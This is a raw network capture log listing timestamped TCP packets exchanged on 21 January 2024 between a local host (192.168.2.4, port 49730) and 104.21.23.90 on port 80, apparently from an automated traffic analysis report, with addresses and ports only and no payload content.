Jan 21, 2024 16:57:08.781301022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.781318903 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.781341076 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.781378984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.781395912 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.782013893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.782051086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.782073975 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.782084942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.782135010 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.788186073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.788223982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.788259029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.788294077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.788328886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.788341045 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.788341999 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.788680077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.788717031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.788753986 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.788790941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.788829088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.788883924 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.788883924 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.788883924 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.789318085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.789355993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.789392948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.789429903 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.789465904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.789588928 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.789589882 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.790152073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.790189981 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.790214062 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.790226936 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.790266037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.790282011 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.790303946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.790355921 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.791042089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.791079044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.791115999 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.791136026 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.791152954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.791193962 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.791219950 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.791831017 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.791898966 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.791899920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.791939020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.791975021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.791994095 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.792011976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.792068958 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.792722940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.792759895 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.792795897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.792814970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.792831898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.792870045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.792886972 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.793513060 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.793570042 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.804666996 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.804708004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.804745913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.804776907 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.804783106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.804821014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.804943085 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.805111885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.805169106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.805171013 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.805206060 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.805242062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.805263996 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.805280924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.805335999 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.805841923 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.805947065 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.805984020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.806004047 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.806020021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.806056976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.806071997 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.806727886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.806763887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.806781054 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.806802034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.806840897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.806850910 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.806878090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.806927919 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.807518005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.807571888 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.807610035 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.807624102 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.807646990 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.807683945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.807693005 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.808373928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.808409929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.808428049 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.808449030 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.808486938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.808495998 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.808523893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.808573961 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.809314013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.809350967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.809395075 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.809405088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.809442043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.809479952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.809492111 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.810487032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.810524940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.810539007 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.810563087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.810600042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.810611010 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.810656071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.810708046 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.810885906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.810923100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.810960054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.810971022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.811012983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.811049938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.811064005 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.811671972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.811726093 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.811750889 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.811789036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.811825991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.811840057 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.811878920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.811928988 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.812557936 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.812594891 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.812633038 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.812659025 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.812668085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.812712908 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.813152075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.813231945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.813270092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.813283920 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.813319921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.813358068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.813369036 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.813980103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.814018011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.814033985 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.814055920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.814090967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.814101934 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.814129114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.814177990 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.814796925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.814835072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.814872026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.814878941 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.814924955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.814963102 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.814976931 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.815568924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.815618038 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.815623045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.815660954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.815696955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.815711021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.815735102 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.815788031 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.816467047 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.816504002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.816540003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.816555977 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.816577911 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.816616058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.816626072 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.817311049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.817348003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.817364931 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.817385912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.817423105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.817433119 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.817461014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.817518950 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.818150043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.818186998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.818224907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.818239927 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.818263054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.818300962 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.818314075 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.818965912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.819004059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.819020987 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.819041014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.819088936 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.819093943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.819130898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.819175959 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.825954914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.825994015 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.826031923 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.826046944 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.843103886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.843142986 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.843292952 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.863224030 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.863327026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.863365889 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.863403082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.863501072 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.863502026 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.863565922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.863604069 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.863626003 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.863641977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.863678932 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.863704920 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.863715887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.863769054 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.867657900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.867697954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.867737055 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.867762089 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.867795944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.867829084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.867856026 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.868129015 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.868169069 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.868186951 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.868206024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.868242025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.868259907 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.868280888 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.868335009 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.868840933 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.868879080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.868915081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.868952036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.868953943 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.868989944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.869009972 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.884243965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.884310007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.884320021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.884349108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.884387970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.884402990 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.884428978 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.884466887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.884474993 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.884505033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.884543896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.884553909 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.885001898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.885041952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.885061979 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.885080099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.885121107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.885139942 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.885158062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.885207891 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.885865927 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.885955095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.885993958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.886010885 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.886033058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.886073112 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.886086941 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.896974087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.897011995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.897044897 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.897052050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.897090912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.897109985 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.897131920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.897190094 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.897435904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.897475958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.897512913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.897531986 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.897551060 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.897589922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.897603989 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.898181915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.898221970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.898241043 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.898262024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.898298979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.898314953 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.898336887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.898391962 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.899154902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.899193048 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.899230957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.899250031 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.899270058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.899307966 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.899322987 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.899947882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.899985075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.900007963 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.900023937 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.900062084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.900099993 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.900100946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.900157928 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.900758982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.900798082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.900834084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.900852919 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.900875092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.900916100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.900935888 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.906569004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.906613111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.906636953 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.906649113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.906703949 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.907135963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.907175064 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.907213926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.907233953 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.907390118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.907427073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.907448053 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.907464027 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.907520056 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.907521963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.907562017 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.907614946 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.908499002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.908538103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.908575058 CET	80	49730	104.21.23.90	192.168.2.4
